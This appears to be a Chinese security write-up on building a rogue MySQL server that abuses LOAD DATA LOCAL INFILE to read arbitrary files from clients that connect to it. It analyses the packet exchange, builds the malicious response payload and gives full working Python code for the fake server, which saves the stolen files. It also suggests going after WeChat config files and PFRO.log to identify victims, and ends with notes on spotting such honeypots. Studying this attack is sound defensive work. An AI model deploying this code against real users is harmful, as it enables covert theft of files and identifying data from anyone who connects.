伪造一个 MySQL 的服务端,当有客户端连接上这个假服务端的时候,就可以任意读取客户端的指定文件。
交互过程
- Win7(192.168.8.130)运行MySQL服务端,作Server端
- Win10(192.168.8.1)使用Navicat进行连接,作Client端
- 在Win10使用WireShark抓包,选择对应网卡并指定3306端口
- 数据库中新建一个表
- 新建查询,读取Client中指定文件 ```sql use test; load data local infile “D:/temp/Client.txt” into table testtable; # 此处文件路径可自定义
— load data infile “D:/temp/Client.txt” into table TestTable; # 读取Server端文件 — load data local infile “D:/temp/Client.txt” into table TestTable; # 读取Client端文件
![image.png](https://cdn.nlark.com/yuque/0/2021/png/520228/1619689208429-a3d0d291-341e-4801-acc9-5dba42b6c3b3.png#crop=0&crop=0&crop=1&crop=1&height=342&id=Osteo&margin=%5Bobject%20Object%5D&name=image.png&originHeight=684&originWidth=1214&originalType=binary&ratio=1&rotation=0&showTitle=false&size=63849&status=done&style=none&title=&width=607)
- 如果提示`--secure-file-priv`,需要修改MySQL配置文件,添加如下内容并重启MySQL
```sql
[mysqld]
secure-file-priv=
Wireshak抓包可以看到正常的执行流程如下:
- Client向Server发起
Load data local infile
请求 - Server返回需要读取的文件路径
- Client读取文件内容并发送给Server
利用原理
从上面交互过程可以看出,在Client向Server发起查询后,Server会返回一个Response TABULAR
的响应包。而如果在这个数据包中指定文件路径,就可以读取Client相应的文件。实际上Server可以在回复任何Client端的请求时返回Response TABULAR
响应包,而不仅仅是在Client发起Load data local infile
后。
Security Considerations for LOAD DATA LOCAL:A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.
- 在交互过程第2步返回需要读取的文件路径,即
Response TABULAR
数据包部分内容如下:13
,文件名长度+100 00 01
,数据包序号fb
,数据包类型44 3a 2f 74 65 6d 70 2f 43 6c 69 65 6e 74 2e 74 78 74
,文件名 ``` 13 00 00 01 fb 44 3a 2f 74 65 6d 70 2f 43 6c 69 65 6e 74 2e 74 78 74
- 于是可以构造Payload
```python
# chr(len(filename)+1) + "\x00\x00\x01\xfb" + filename
filename = "D:/temp/Client.txt"
evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
- 尝试读取此文件
- 尝试读取微信配置文件,其中包含微信ID
- 默认路径:
C:\Users\<目标用户名>\Documents\WeChat Files\All Users\config\config.dat
- 默认路径:
- 但是读取该文件需要知道微信的安装位置,即使其安装在默认位置,也还需要知道目标电脑用户名,而目标用户名有一定几率在
C:\Windows\PFRO.log
文件中找到,因此利用难度较大。这里仅作演示以抛砖引玉。完整代码
```pythoncoding=utf-8
import socket import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 3306 server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((“”, port)) server.listen(5)
def get_data(filename, client, addr): base_path = os.path.abspath(‘.’) + “/log/“ + addr[0] if not os.path.exists(base_path): os.makedirs(base_path)
evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
client.sendall(evil_response)
file_data = client.recv(999999)
print(file_data)
with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:
f.write(file_data)
f.close()
while True:
# 建立客户端连接
client, addr = server.accept()
print("连接地址: %s" % str(addr))
# 返回版本信息
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
client.sendall(version_text)
try:
# 客户端请求信息
client.recv(9999)
except Exception as e:
print(e)
# Response OK
verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
client.sendall(verification)
try:
# SET NAMES utf8mb4
client.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
filename = "D:/temp/Client.txt"
get_data(filename, client, addr)
client.close()
<a name="e967e131121f1b8b1fa2fc872587cb3e"></a>
## 蜜罐识别
- 有些协议实现不完善的蜜罐,会把任意输入的用户名以及密码当成正确的
- 许多蜜罐为了读取客户端的任意文件来识别攻击者的身份,会把客户端第一条执行的命令作为读取客户端文件的数据包返回
- 登陆成功后通过SQL命令识别
```sql
# 统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc;
# 查看所有正在连接的用户详细信息:连接的用户(连接的用户名,连接的ip),当前库,用户状态(Sleep就是空闲),现在在执行的sql语句,上一次执行的sql语句,已经建立连接的时间(秒)
SELECT user,db,command,current_statement,last_statement,time FROM sys.session;
# 查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connections FROM sys.host_summary